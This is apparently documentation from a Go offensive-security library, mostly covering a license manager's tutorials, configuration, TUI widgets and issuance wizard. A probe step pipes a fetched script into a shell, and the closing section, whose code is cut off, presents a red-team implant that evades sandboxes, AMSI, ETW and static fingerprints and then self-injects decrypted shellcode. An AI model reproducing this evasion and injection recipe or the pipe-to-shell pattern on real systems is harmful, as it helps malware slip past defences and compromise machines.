pub, kid, _ := license.ParsePublicKey(pubPEM)
trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}
// Collect all three pieces of evidence from your runtime.
machine := []byte("host-alpha") // hostid.Composite() in production
password := "hunter2" // prompt the user
totpCode := "123456" // also prompted; from Google Authenticator etc.
v, err := license.Verify(licPEM, trusted,
license.WithMachineID(machine),
license.WithPassword(password),
license.WithTOTPCode(totpCode),
)
if err != nil {
log.Fatalf("license check failed: %v", err)
}
log.Printf("running for %s", v.Subject)
}
Missing or wrong evidence on ANY of the three → err != nil.
That's the security property — a leaked licence on a different
machine doesn't start.
Runnable client:
examples/.../02-bindings-and-verify/client.
Test it together
go test ./examples/license-manager/tutorials/02-bindings-and-verify
The test issues a real bound licence and runs the client with full, missing, and wrong evidence — proving the "AND" semantics.
Tutorial 03 — Revocation server + client that polls it
Objectif — run the signed-CRL HTTP server in the TUI and have a client honour revocations the operator publishes live. Concepts — CRL · monotonic sequence (downgrade defence) ·
revoke.HTTPSource· on-disk cache fallback Attendu — client accepts the licence; after the operator pressesr, the next poll rejects it. With the manager offline, the cached CRL still enforces the last known revocations.
In the TUI
7→ Servers screen.- Cursor on Revocation, press
sto start. - The row shows
runningand aListenaddress such as127.0.0.1:8443. Copy it. 2→ Licences. Issue a licence (any wizard path). PressE→/tmp/alice.license→Enter.3→ Issuers →E→/tmp/issuer.pub→Enter.
To revoke later: 2 → Licences → cursor on the row → r →
type a reason → Enter. The CRL re-publishes immediately.

In your program
package main
import (
"log"
"net/http"
"os"
"time"
license "github.com/oioio-space/maldev/license"
"github.com/oioio-space/maldev/license/revoke"
)
func main() {
licPEM, _ := os.ReadFile("/tmp/alice.license")
pubPEM, _ := os.ReadFile("/tmp/issuer.pub")
pub, kid, _ := license.ParsePublicKey(pubPEM)
trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}
src := revoke.HTTPSource(
"http://127.0.0.1:8443/revoked.pem",
&http.Client{Timeout: 5 * time.Second},
)
v, err := license.Verify(licPEM, trusted,
license.WithRevocation(src, time.Hour, "/var/cache/myapp/crl.pem"),
)
if err != nil {
log.Fatalf("license check failed: %v", err)
}
log.Printf("running for %s", v.Subject)
}
The cachePath matters: if the manager is offline, the client
replays the last signed CRL it saw. The CRL's monotonic
Sequence blocks stale-cache downgrade attacks.
Runnable client:
examples/.../03-revocation-server/client.
Test it together
go test ./examples/license-manager/tutorials/03-revocation-server
Boots a real CRL server, issues a licence, runs the client (accepted), revokes via the TUI service, runs the client again (rejected).
Tutorial 04 — TOTP authenticator handoff
Objectif — mint a TOTP secret, hand it off via QR code, then require the rolling 6-digit code at every binary launch. Concepts — RFC 6238 · ±30 s clock-skew window · authenticator apps (Google Auth / Authy / 1Password / Yubico) Attendu — the live code is accepted; a bogus
000000is rejected with exit 1.
In the TUI
8→ TOTP screen.n→ mint a fresh secret. The new row is selected.Q→ pop the QR overlay. Hand your phone to the licensee and let them scan it into Google Authenticator / Authy / 1Password / Yubico.Escto close the overlay.- Bind it to a licence:
2→ Licences →n→ wizard, step 7 (TOTP): pick the secret you just minted →Enter. - After signing,
E→/tmp/alice.license→Enter. 3→ Issuers →E→/tmp/issuer.pub→Enter.
The secret never leaves the manager DB — only the QR was displayed, once.

In your program
package main
import (
"bufio"
"log"
"os"
"strings"
license "github.com/oioio-space/maldev/license"
)
func main() {
licPEM, _ := os.ReadFile("/tmp/alice.license")
pubPEM, _ := os.ReadFile("/tmp/issuer.pub")
pub, kid, _ := license.ParsePublicKey(pubPEM)
trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}
// Prompt the user for the current 6-digit code.
os.Stdout.WriteString("TOTP code: ")
line, _ := bufio.NewReader(os.Stdin).ReadString('\n')
code := strings.TrimSpace(line)
v, err := license.Verify(licPEM, trusted, license.WithTOTPCode(code))
if err != nil {
log.Fatalf("license check failed: %v", err)
}
log.Printf("running for %s", v.Subject)
}
Wrong code → err != nil. The window tolerates ±30 s of clock
drift; outside that, the user retypes the current code.
Runnable client:
examples/.../04-totp-authenticator/client.
Test it together
go test ./examples/license-manager/tutorials/04-totp-authenticator
Renders the tape, issues a real TOTP-bound licence, runs the
client with both the live code (accepted) and 000000
(rejected).
Tutorial 05 — Sealed payload (X25519)
Objectif — embed a per-licensee secret inside a licence so that only the targeted recipient's private key can read it. Concepts — X25519 sealed box ·
seal.Open· ciphertext is bound to the recipient public key, not just the licence Attendu — holder of the correct private key prints the plaintext; any other key →seal.Openerrors and the binary exits 1.
The licence body is signed in the open, but a portion is encrypted to a single recipient — only their private key reads it.
In the TUI
4→ Recipients screen.n→ mint a fresh X25519 keypair. The new row is selected.- Note the recipient's
name/id— the wizard will offer it as a target. 2→ Licences →n→ wizard.- Step 4 (Sealed payload): pick the recipient → type the
payload bytes (or paste them) →
Enter. - Confirm wizard → sign →
E→/tmp/alice.license→Enter. 3→ Issuers →E→/tmp/issuer.pub→Enter.
Ship the recipient's private key with the binary (embed, sealed section, secrets manager — your call). Never ship it alongside the licence in the same channel.

In your program
package main
import (
"log"
"os"
license "github.com/oioio-space/maldev/license"
"github.com/oioio-space/maldev/license/seal"
)
func main() {
licPEM, _ := os.ReadFile("/tmp/alice.license")
pubPEM, _ := os.ReadFile("/tmp/issuer.pub")
priv, _ := os.ReadFile("/etc/myapp/recipient.x25519") // 32 raw bytes
pub, kid, _ := license.ParsePublicKey(pubPEM)
trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}
v, err := license.Verify(licPEM, trusted)
if err != nil {
log.Fatalf("license check failed: %v", err)
}
plain, err := seal.Open(priv, v.SealedPayload)
if err != nil {
log.Fatalf("sealed payload: %v", err)
}
log.Printf("payload: %s", string(plain))
}
seal.Open returns an error if priv is wrong, if the
ciphertext is tampered, or if the payload was sealed to a
different recipient.
Runnable client:
examples/.../05-sealed-payload/client.
Test it together
go test ./examples/license-manager/tutorials/05-sealed-payload
Renders the tape, issues a sealed-payload licence, runs the client with the correct private key (decrypts) and a wrong one (rejected).
Runnable examples
This page indexes the runnable cookbook under
examples/license-manager/.
Each entry is a standalone Go program — copy-paste, adapt to
your environment, run. Every example also ships a main_test.go
that runs the same scenario against an in-memory SQLite store,
so CI green ⇒ the example works.
Why a separate examples tree
The Cookbook prose pages explain the why of each operation. The runnable examples here are the what — code you can clone and execute without first reading the cookbook.
If you read the cookbook recipe and want the matching code, the example is linked from each recipe.
If you found this page first, every example links back to the concept page that explains the underlying notion.
Catalogue
Examples 07 (sealed payload), 08 (identity pin), 10 (HTTP servers) and 11 (backup / restore) ship as placeholders pending the backup format spec and a fixture for the probe agent.
How to run any of them
# One example
go run ./examples/license-manager/03-revoke-and-crl
# All examples (CI uses this)
go test ./examples/license-manager/...
The examples produce machine-friendly stdout (one PEM, one otpauth URI, one CRL — never mixed) and human-friendly stderr status lines. Pipe stdout to a file, read stderr in the terminal.
Skeleton
Every example follows the same shape:
NN-feature-name/
├── README.md # what + why + expected output + TUI mapping
├── main.go # runnable CLI calling a single run() helper
└── main_test.go # E2E test against an in-memory manager
main.go exposes a run(ctx, stdout, stderr) error that
main() and main_test.go both call. This keeps the example
linear at the top level while the test re-uses the exact code
path the operator runs.
License Manager — Configuration
Référence des flags CLI, variables d'environnement, valeurs par défaut des serveurs, et préréglages Argon2id.
Flags CLI
| Flag | Type | Défaut | Description |
|---|---|---|---|
--db | string | ./manager.db | Chemin vers la base SQLite. Créée au premier lancement. |
--passphrase-file | string | — | Fichier contenant la passphrase (lue + trimée). Priorité maximale dans la cascade. |
--no-tui | bool | false | Désactive la TUI bubbletea. Utile pour les flux scriptés ou le débogage. |
Exemples :
# Lancement standard
license-manager --db /var/lib/maldev/manager.db
# Passphrase depuis fichier (recommandé pour les flux CI/scripts)
license-manager --db manager.db --passphrase-file /run/secrets/mgr_pass
# Mode script sans TUI
license-manager --db manager.db --no-tui
Variables d'environnement
| Variable | Description | Priorité dans la cascade |
|---|---|---|
MALDEV_MGR_PASSPHRASE_FILE | Chemin vers un fichier passphrase. Équivalent à --passphrase-file mais sans flag. | 2 (après --passphrase-file) |
MALDEV_MGR_PASSPHRASE | Passphrase directement en valeur. À éviter si ps expose les variables d'environnement. | 3 |
La cascade complète de résolution de passphrase :
1. flag --passphrase-file (priorité maximale)
2. env MALDEV_MGR_PASSPHRASE_FILE
3. env MALDEV_MGR_PASSPHRASE
4. (v2) OS keystore (DPAPI / Keychain / libsecret)
5. prompt interactif TUI (fallback)
Dès qu'une source produit une valeur non vide, les suivantes sont ignorées. Quand la passphrase est résolue silencieusement (étapes 1–3), aucun prompt n'apparaît.
Valeurs par défaut des serveurs
Configurables via SettingsService.UpdateServerConfig. Toutes les adresses d'écoute sont vides par défaut — un serveur avec adresse vide ne peut pas être démarré.
Champ ServerConfig | Valeur par défaut | Description |
|---|---|---|
revocation_listen | "" | Adresse d'écoute du serveur Revocation (ex. ":8443") |
revocation_path | "/revoked.pem" | Chemin de la CRL |
revocation_tls_cert | "" | Chemin PEM du certificat TLS (vide = HTTP) |
revocation_tls_key | "" | Chemin PEM de la clé TLS |
heartbeat_listen | "" | Adresse d'écoute du serveur Heartbeat (ex. ":8444") |
heartbeat_path | "/heartbeat" | Chemin du endpoint heartbeat |
heartbeat_tls_cert | "" | |
heartbeat_tls_key | "" | |
probe_listen | "" | Adresse d'écoute du serveur Probe (ex. ":8445") |
probe_tls_cert | "" | |
probe_tls_key | "" | |
probe_default_ttl_seconds | 86400 | TTL par défaut des tokens probe (24h) |
Exemple de configuration minimale via UpdateServerConfig :
svc.Settings.UpdateServerConfig(ctx, func(u *ent.ServerConfigUpdate) {
u.SetRevocationListen(":8443").
SetHeartbeatListen(":8444").
SetProbeListen(":8445")
})
Préréglages Argon2id
Le champ Setting.default_argon_preset contrôle les paramètres utilisés pour hacher les bindings password lors de l'émission. Les préréglages s'appliquent aussi à la dérivation KEK (crypto.DeriveFromPassphrase).
| Préréglage | time | memory | threads | Latence approx. |
|---|---|---|---|---|
fast | 1 | 32 MiB | 2 | ~30 ms |
default | 3 | 64 MiB | 4 | ~100 ms |
paranoid | 8 | 256 MiB | 8 | ~800 ms |
fast: acceptable pour des tests et des environnements à faible mémoire.default: recommandé pour la production. Résiste aux attaques GPU modernes.paranoid: pour des secrets à très haute valeur (clés de root CA, etc.). Prévoir ~1 s à chaque démarrage.
Modifier le préréglage via SettingsService.Update :
svc.Settings.Update(ctx, func(u *ent.SettingUpdate) {
u.SetDefaultArgonPreset(setting.DefaultArgonPresetParanoid)
})
Permissions recommandées
| Ressource | Permission | Raison |
|---|---|---|
manager.db | 600 (owner RW seulement) | Contient les clés privées chiffrées |
| Fichier passphrase | 400 (owner R seulement) | Lecture par le processus uniquement |
Binaires probe (agents/*) | 755 | Exécution sur machines distantes |
Répertoire probe/agents/gen/ | Accès build uniquement | Source du binaire agent — ne pas distribuer |
Paramètres opérateur (Setting)
| Champ | Défaut | Description |
|---|---|---|
default_issuer_name | "" | Valeur pré-remplie pour le champ iss dans les nouvelles licences |
default_audience | [] | Audiences pré-sélectionnées dans le formulaire d'émission |
default_ttl_seconds | 2592000 (30j) | TTL par défaut des nouvelles licences |
default_argon_preset | default | Voir tableau Argon2id ci-dessus |
operator_name | "" | Nom affiché dans le champ actor de l'audit trail |
auto_start_servers | false | Démarrer les serveurs configurés au boot |
confirm_quit_with_servers | true | Confirmer avant de quitter si des serveurs tournent |
Voir aussi
TUI Widget System
What the Widget interface buys
Before Phase 2.5, every screen's View() was a flat lipgloss composition — correct,
but hard to evolve: adding a border, reshuffling columns, or wiring mouse events required
editing deep string-concatenation code. The Widget interface turns UI composition into
a tree of typed objects with clear responsibilities:
- Layout receives bounds (set on resize, not per frame).
- Update processes any
tea.Msg(keyboard, mouse, data, timers). - View renders within bounds — never overflows.
Package structure
internal/manager/tui/
├── core/core.go — Widget, Clickable, Focusable interfaces + Rect (cycle-free base)
├── widget.go — type aliases re-exporting core types as tui.Widget / tui.Rect
├── layout.go — Flex, Grid, Pad, Box composites
└── widgets/ — leaf widgets: Text, Spacer, Button, Tile, TabBar, StatusBar,
WrappedTable, WrappedTextInput, WrappedViewport
The tui/core sub-package exists solely to break the import cycle:
tui → tui/widgets → tui. Both sides import tui/core; callers use
tui.Widget / tui.Rect via the type aliases in widget.go.
Rect / bounds model
tui.Rect{X, Y, W, H} uses terminal cell coordinates (column, row).
Rect.Contains(x, y) is used by the mouse dispatcher to hit-test.
Bounds are assigned top-down: the root calls Layout on the top-level widget,
composite widgets (Flex, Grid, Pad, Box) recursively assign child bounds, and leaf
widgets store the result and use it in View().
Layout primitives
| Primitive | Description |
|---|---|
NewFlex(dir, gap, children...) | Row or column; FlexChild.Flex > 0 = proportional share of remaining space; Flex == 0 = fixed Min cells. |
NewGrid(rows, cols, gap, children...) | Fixed 2D grid; GridChild.RowSpan/ColSpan for merged cells. |
NewPad(w, top, right, bottom, left) | Insets inner widget. |
NewBox(w, title, focused) | Bordered frame; Magenta border when focused. |
Composites implement a private Children() []Widget interface used by the mouse
dispatcher for depth-first traversal.
Mouse dispatching
Mouse is enabled with tea.WithMouseCellMotion() in cmd/license-manager/main.go.
On tea.MouseActionRelease + tea.MouseButtonLeft, app.go calls
dispatchClick(tree, msg.X, msg.Y) which:
- Checks
Bounds().Contains— returnsnilif outside. - Recurses into children first (deepest widget wins).
- If the matched widget implements
tui.Clickable, callsOnClick(relX, relY, button).
Tab bar clicks (Y == 1) are dispatched directly to the TabBar widget before
the general tree walk, since the tab bar is part of chrome rather than a screen widget tree.
Mouse-clickable surfaces (Phase 2.5)
| Surface | Action |
|---|---|
| Dashboard counter tiles | Switches to Licenses view with matching filter |
| Tab bar tabs | Switches to the clicked view (widgets.SwitchViewMsg) |
| Buttons (all screens) | Fires OnPress handler |
WrappedTable rows | Emits widgets.RowClickedMsg{Index} |
WrappedTextInput | Focuses the input |
Migration recipe for legacy screens
Screens in screen_licenses.go and others still use direct lipgloss rendering.
To migrate a screen:
- Extract content helpers — pull
renderXxxCard()into methods that returnstring. - Wrap helpers in
widgets.Text—widgets.NewText(content, style). - Build a Flex/Box tree — replace
lipgloss.JoinVertical/Horizontalwithtui.NewFlex(…). - Call
root.Layout(tui.Rect{…})at the end ofbuildWidgetTree(). - Return
root.View()fromView(). - Wire clicks — in
app.go'shandleMouse, add a case for the new screen's active view that callsm.theScreen.buildWidgetTree()thendispatchClick(…). - Add any
Clickablehandlers —SwitchViewMsg,RowClickedMsg, etc.
The migration is non-breaking: the other screens continue working unchanged.
Examples
Horizontal three-column layout
left := widgets.NewText("Left", lipgloss.NewStyle())
center := widgets.NewText("Center", lipgloss.NewStyle())
right := widgets.NewText("Right", lipgloss.NewStyle())
row := tui.NewFlex(tui.Horizontal, 1,
tui.FlexChild{W: left, Flex: 1},
tui.FlexChild{W: center, Flex: 2}, // center gets 2× the space
tui.FlexChild{W: right, Flex: 1},
)
row.Layout(tui.Rect{X: 0, Y: 0, W: 120, H: 20})
fmt.Print(row.View())
Clickable tile
tile := widgets.NewTile("Active", 42, "", tui.Palette.Green, func() tea.Cmd {
return func() tea.Msg { return SwitchToLicensesMsg{Filter: "active"} }
})
tile.Layout(tui.Rect{X: 0, Y: 0, W: 28, H: 5})
// tile.OnClick(x, y, tea.MouseButtonLeft) fires the handler
Bordered box with title
content := widgets.NewText(someText, lipgloss.NewStyle())
box := tui.NewBox(content, "Section Title", false)
box.Layout(tui.Rect{X: 0, Y: 0, W: 60, H: 10})
fmt.Print(box.View())
New License Wizard — TUI Walkthrough
The New License Wizard is an 8-step guided flow for issuing a signed licence from the
license-manager terminal UI. Launch it from the Licenses screen by pressing n or
clicking the + New license button.
Overview
sequenceDiagram
participant Operator
participant "Licenses Screen" as LS
participant "Wizard Overlay" as WZ
participant "LicenseService" as SVC
Operator->>LS: press n
LS->>WZ: openWizardCmd
WZ->>Operator: Step 1 — Identity
Operator->>WZ: pick/create issuer
WZ->>Operator: Step 2 — Recipient
Operator->>WZ: pick/skip recipient
WZ->>Operator: Step 3 — Machine binding
Operator->>WZ: paste ID or probe
WZ->>Operator: Step 4 — Binary binding
Operator->>WZ: browse/skip
WZ->>Operator: Step 5 — Validity window
Operator->>WZ: confirm dates
WZ->>Operator: Step 6 — Free fields
Operator->>WZ: add key/value pairs
WZ->>Operator: Step 7 — TOTP
Operator->>WZ: toggle on/off
WZ->>Operator: Step 8 — Review
Operator->>WZ: press enter to issue
WZ->>SVC: LicenseService.Issue
SVC-->>WZ: IssuedLicense
WZ->>Operator: QR overlay (PEM + TOTP QR)
Progress Strip and Sidebar
The wizard chrome has two persistent navigation elements:
Progress strip (top bar): shows NOUVELLE LICENCE étape N/8 · <label> with
styled key hints (Tab next, ⇧Tab prev, 1-8 jump, esc cancel) right-aligned.
A magenta progress bar below it fills proportionally to the current step.
Sidebar (left column, ~27 chars wide): lists all 8 steps with a [N] badge,
step label, and a one-line hint. The active step is prefixed with a magenta │
accent; its badge and label are rendered bold. Hints are truncated to fit the sidebar
width and never wrap.
│ [1] Identité
subject · issuer · a…
[2] Destinataire
clé X25519 du destin…
…
esc steps back one step at any point. q on the Licenses screen cancels and returns.
Step 1 — Identity
Pick the Ed25519 signing issuer for this licence, or create a new one.
Step 1 — Signing Identity
Pick an existing issuer or create a new Ed25519 signing key.
> prod-2026 maldev-prod-01
staging-2026 maldev-staging-01
+ Create new issuer
↑/↓ navigate enter select n create new
Create path: press n or navigate to + Create new issuer and hit enter. Two fields
appear: Name and Key-ID. tab moves between them; enter on the Key-ID field
generates the keypair via IssuerService.Generate and advances to step 2.
Step 2 — Recipient
Pick the X25519 recipient key used to seal the embedded payload, or skip (no sealed payload).
Step 2 — Recipient
Pick or create the X25519 recipient key for sealed payload delivery.
acme-corp
beta-tester-01
— Skip (no sealed payload)
> + Create new recipient
↑/↓ navigate enter select
Choosing Skip records an empty RecipientID — the licence will carry no sealed payload.
Step 3 — Machine Binding (optional)
Bind the licence to a specific machine. Two sub-modes, toggled with tab:
Step 3 — Machine Binding (optional)
Bind this licence to a specific machine ID. Tab to switch input method.
[Paste]
Machine-ID hex:
> deadbeefcafe0000...
enter confirm tab probe mode s/esc skip
Probe sub-mode
Pressing tab switches to Probe target mode. Pressing enter opens the
Probe Drawer (a slide-in overlay described below). The probe flow issues a
one-time token, shows a curl command to run on the target, and waits for the
agent callback.
Step 4 — Binary Binding (optional)
Bind the licence to a specific binary by SHA-256 hash.
Step 4 — Binary Binding (optional)
Bind this licence to a specific binary by SHA-256 hash.
Binary path:
> /home/operator/builds/agent-v2.exe
SHA-256: a3f9...c1d2
enter hash/confirm f file picker s/esc skip
Press f or enter with an empty field to open the File Picker overlay. Once a file
is chosen, its SHA-256 is computed in a background goroutine and shown on screen.
Step 5 — Validity Window
Set the not-before and not-after dates.
Step 5 — Validity Window
Set the not-before / not-after dates for this licence.
Not before:
> 2026-05-21
Not after (or 'forever'):
> 2027-05-21
shortcuts: +7d +30d +1y forever(0)
tab switch field enter confirm
Shortcuts (available when the end-date field is selected but not in typing mode):
| Key | Effect |
|---|---|
7 | now + 7 days |
3 | now + 30 days |
y | now + 1 year |
f | forever (year 9999) |
Step 6 — Free Fields (optional)
Add arbitrary key=value metadata. Any number of rows; encoded into the licence
Features list as key=value strings.
Step 6 — Free Fields (optional)
Add arbitrary key/value metadata to this licence.
> env = prod
customer = acme
tab next field a add row d delete row enter/esc confirm
a adds a new row; d deletes the current row (minimum one row retained).
Step 7 — TOTP Requirement
Toggle whether the licence requires a time-based one-time password at validation time.
Step 7 — TOTP Requirement
Require a time-based one-time password at validation time.
[x] Require TOTP
Select TOTP secret:
> maldev:acme-corp
t toggle ↑/↓ select secret enter confirm
When enabled, the wizard adds a BindingSpec{Type: "totp"} to the IssueRequest and
LicenseService.Issue generates a fresh TOTP secret, wraps it under the KEK, and includes
provisioning QR artefacts in the IssuedLicense response.
Step 8 — Review and Issue
A summary of all collected choices. Press enter or i to call LicenseService.Issue.
Step 8 — Review & Issue
Confirm all choices and press enter to sign the licence.
Issuer ID: 00000000-0000-0000-0000-000000000001
Recipient ID: —
Machine ID: deadbeefcafe
Binary SHA-256: a3f9...c1d2
Not before: 2026-05-21
Not after: 2027-05-21
Free fields: env=prod
Require TOTP: no
[ enter / i ] Issue licence
[ esc ] Cancel
On success, the wizard closes and the QR Overlay appears.
Probe Drawer
The probe drawer is a modal overlay that automates machine-ID collection from a target host.
┌──────────────────────────────────────────────────────────────────────────┐
│ Probe Drawer │
│ │
│ Waiting for agent callback… │
│ │
│ Run on the target machine: │
│ │
│ curl -sf https://localhost:8080/probe/<token> | sh │
│ │
│ Token expires in 24 h. │
│ │
│ c copy esc cancel │
└──────────────────────────────────────────────────────────────────────────┘
Flow:
sequenceDiagram
participant Operator
participant "Probe Drawer" as PD
participant "ProbeService" as PS
participant "Target Machine" as TM
Operator->>PD: open drawer (enter in probe mode)
PD->>PS: NewToken(label, 24h)
PS-->>PD: ProbeToken{ID, curl}
PD->>Operator: show curl command
Operator->>TM: copy-paste curl
TM->>PS: POST /probe/<token>
PS->>PD: Subscribe channel fires
PD->>Operator: show hostname/os/machine-id
Operator->>PD: enter to accept
PD-->>Operator: MachineBindingMsg{MachineID}
Once the agent reports in, the drawer shows the resolved hostname, OS/arch, and composite
machine-ID. Press enter to use the machine-ID and advance, or esc to discard
(the token is revoked immediately on cancel).
QR Overlay
After a successful Issue call, the QR overlay displays:
- ASCII-art QR codes for any TOTP provisioning secrets (one per TOTP binding).
- A scrollable PEM block of the signed licence.
- Save (
s) and copy-to-clipboard (c) actions.
┌──────────────────────────────────────────────────────────────────────────┐
│ Licence Issued │
│ │
│ TOTP binding 1 — binding index 0 │
│ [QR ASCII art] │
│ │
│ PEM (↑/↓ scroll): │
│ -----BEGIN MALDEV LICENSE----- │
│ eyJhbGci... │
│ -----END MALDEV LICENSE----- │
│ │
│ s save c copy PEM esc/enter close │
└──────────────────────────────────────────────────────────────────────────┘
The PEM file is saved to ~/licence-<uuid>.pem with mode 0600.
File Picker Overlay
A lightweight directory navigator used by step 4 (binary binding).
┌────────────────────────────────────────────────────────────────┐
│ File Picker │
│ /home/operator/builds │
│ │
│ bin/ │
│ lib/ │
│ > agent-v2.exe │
│ agent-v2.pdb │
│ │
│ ↑/↓ navigate enter select/descend ← up esc cancel │
└────────────────────────────────────────────────────────────────┘
Hidden files (dotfiles) are filtered. Directories appear first, coloured cyan with a
trailing /. Press backspace or ← to navigate up. esc cancels without selecting.
Key Bindings Summary
| Screen | Key | Action |
|---|---|---|
| Licenses | n | Open wizard |
| Any step | esc | Back one step |
| Step 1/2 | ↑/↓ | Navigate list |
| Step 1/2 | enter | Select item |
| Step 3 | tab | Toggle paste/probe |
| Step 4 | f | Open file picker |
| Step 5 | tab | Switch date field |
| Step 5 | 7/3/y/f | Duration shortcut |
| Step 6 | a / d | Add / delete row |
| Step 7 | t | Toggle TOTP |
| Step 8 | enter / i | Issue licence |
| Probe drawer | c | Copy curl command |
| QR overlay | s | Save PEM to disk |
| QR overlay | c | Copy PEM |
Servers Screen — Operator Walkthrough
The Servers screen (tab 7, key 7) provides a real-time view of the three
HTTP servers bundled with license-manager — Revocation, Heartbeat, and Probe —
and lets the operator start or stop each one individually or all at once.
Layout overview
┌──────────────────────────────────────────────────────────────────────────────┐
│ [A] Start all [Z] Stop all s=start S=stop c=clear log 1-4=filter │
├──────────────────┬───────────────────┬──────────────────────────────────────┤
│ revocation │ heartbeat │ probe │
│ ┌────┐ │ ┌────┐ │ ┌─────┐ │
│ │ ON │ │ │ ON │ │ │ OFF │ │
│ └────┘ │ └────┘ │ └─────┘ │
│ Addr: …:8443 │ Addr: …:8444 │ LastErr: bind: addr in use │
│ Uptime: 5m 12s │ Uptime: 3m 01s │ │
│ Reqs: 42 │ Reqs: 7 │ Reqs: 0 │
│ [s] Start [S] Stop [s] Start [S] Stop │
├─────────────────────────────────────────────────────────────────────────────┤
│ Event log [ all ] [ revocation ] [ heartbeat ] [ probe ] c=clear │
│ 12:00:00 revocation started 127.0.0.1:8443 │
│ 12:00:01 heartbeat started 127.0.0.1:8444 │
│ 12:00:02 revocation request GET /revoked.pem 200 10.0.0.1:52000 │
│ 12:00:03 probe error bind: address already in use │
└─────────────────────────────────────────────────────────────────────────────┘
Server cards
Each of the three server cards shows:
| Field | Notes |
|---|---|
| Name | revocation, heartbeat, or probe |
| ON / OFF pill | Green border when running, grey when stopped |
| Addr | TCP listen address once the server is bound |
| Uptime | Wall-clock time since the server was last started; — when stopped |
| Reqs | Cumulative request counter, never reset between start/stop cycles |
| LastReq | Wall-clock time of the most recent handled request (HH:MM:SS) |
| LastErr | Last error string, shown in red; absent when no error has occurred |
Start / Stop buttons
Every card has two buttons:
[s] Start— callsStart(ctx, name)on the controller; if the server is already running the underlying call returns an error which is pushed to the event log.[S] Stop— callsStop(name)with a 5-second graceful drain; in-flight HTTP requests complete before the listener closes.
Mouse click on either button works when the program is launched with
--mouse-cell-motion (default in interactive mode).
Global start / stop
A— start all three servers simultaneously (batch parallel commands).Z— stop all three servers simultaneously.
Both keys are active only when the Servers screen is focused.
Event log
The scrollable event log below the cards streams every lifecycle transition
and HTTP request from all three servers via Bundle.MergedEvents(). Up to
500 entries are retained in memory; older events are evicted with
drop-oldest semantics.
Log columns
HH:MM:SS server-name kind detail
| Kind | Colour | Detail |
|---|---|---|
started | Green | Listen address |
stopped | Yellow | — |
request | Dim | METHOD /path STATUS remote-addr |
error | Red | Error string |
Auto-scroll
The log auto-scrolls to the bottom as new events arrive. Scrolling up (mouse wheel or arrow keys) pauses auto-scroll so the operator can read historical entries. Scrolling back down re-enables it.
Filtering
Click a chip or press 1–4 to filter the log:
| Key | Filter |
|---|---|
1 | All servers (default) |
2 | Revocation only |
3 | Heartbeat only |
4 | Probe only |
The filter applies to the live stream and to the retained ring buffer, so switching filters instantly re-renders the full history.
Press c to clear the log (discards all retained entries).
History across screen switches
The root model retains the last 500 events in an in-memory ring buffer. When the operator navigates away to another screen and returns, all buffered events are replayed into the log so history is not lost.
Event fan-in — sequence
The following diagram shows how a single HTTP request propagates from the server goroutine to the TUI log widget.
sequenceDiagram
participant Client as "HTTP Client"
participant Srv as "RevocationServer"
participant Bundle as "Bundle.MergedEvents()"
participant Listener as "listenServerEvents (tea.Cmd)"
participant Root as "rootModel.Update"
participant Screen as "serversModel.Update"
participant Log as "serverLog.Update"
Client->>Srv: GET /revoked.pem
Srv->>Srv: emitReq(event)
Srv->>Bundle: events <- Event{Kind:"request"}
Bundle->>Listener: ev = <-merged
Listener-->>Root: serverEventMsg{ev}
Root->>Root: appendEventRing(ev)
Root->>Screen: Update(serverEventMsg)
Screen->>Screen: refreshStatuses()
Screen->>Log: Update(serverEventMsg)
Log->>Log: append(ev) + SetContent(render())
Root-->>Listener: re-arm listenServerEvents
The listener is a self-rearming tea.Cmd: after each delivery the root
model immediately re-issues listenServerEvents(bundle) so the next event is
picked up without spawning a persistent goroutine. This model is safe with
bubbletea's single-threaded Update loop and exits cleanly when the merged
channel is closed at program shutdown.
No new flags or environment variables
The Servers screen reads its data entirely from the live httpsrv.Bundle
wired at startup. The listen addresses, TLS certs, and admin tokens are
configured via the existing settings stored in the database — see
Configuration for details.
Example: Basic Implant
A minimal red-team implant that bails on a sandbox, decrypts shellcode with ephemeral-plaintext wipe, applies the canonical evasion preset through indirect-asm syscalls + a non-ROR13 hash, and self-injects.
What changed since the v0.16-era version of this example:
MethodIndirectAsminstead ofMethodIndirect— same end effect (every NT call lands on a ntdll-residentsyscall;retgadget) but the SSN+gadget transition lives in a Go-assembly stub. No writable code page in the implant, no per-callVirtualProtectdance, cleaner call stack. (P2.25 lineage; seedocs/techniques/syscalls/direct-indirect.md.)- Custom
HashFunc— the default ROR13 constant0x411677B7forntdll.dllis on every static fingerprint sheet. Swap to FNV-1a (or any of the 6 algorithms inhash/apihash.go) and usecmd/hashgento pre-compute the API constants at build time. recon/antivm.Hypervisor()— single-call CPUID + RDTSC hypervisor probe; cannot be evaded by registry / DMI / file rewrites. Bail before paying the decrypt cost.evasion/preset.Stealth()— bundled AMSI + ETW + selective unhook in one slice instead of three hand-listed techniques.crypto.UseDecrypted— defer-wipes the plaintext shellcode buffer the moment the consumer is done with it. Closes the "did the operator remember to wipe?" footgun.SelfInjector+ sleepmask integration — the inject result carries the(addr, size)tuple straight intoMask.Sleep, no pointer arithmetic at the call site.
flowchart TD
A[Start] --> B{Hypervisor.LikelyVM?}
B -->|yes| Z[Exit silently]
B -->|no| C["Apply preset.Stealth via Caller<br>(IndirectAsm + FNV-1a)"]
C --> D["UseDecrypted → AES-GCM<br>(plaintext defer-wiped)"]
D --> E["SelfInject CreateThread<br>returns InjectedRegion"]
E --> F[sleepmask.Mask.Sleep<br>encrypts the region]
F --> F
Code
package main
import (
"context"
"os"
"time"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/recon/antivm"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// Encrypted payload + key wired in at build time.
var encPayload = []byte{ /* ... output of crypto.EncryptAESGCM ... */ }
var aesKey = []byte{ /* 32-byte key ... */ }
func main() {
// 1. Sandbox bail. CPUID + RDTSC timing — single-call,
// cannot be evaded by registry / DMI rewrites.
if antivm.Hypervisor().LikelyVM {
os.Exit(0)
}
// 2. Caller — indirect-asm syscalls + FNV-1a API hashing.
// The default ROR13 constants are on every static
// fingerprint sheet; FNV-1a defeats that match.
resolver := wsyscall.Chain(
wsyscall.NewHashGateWith(hash.FNV1a32),
wsyscall.NewHellsGate(),
)
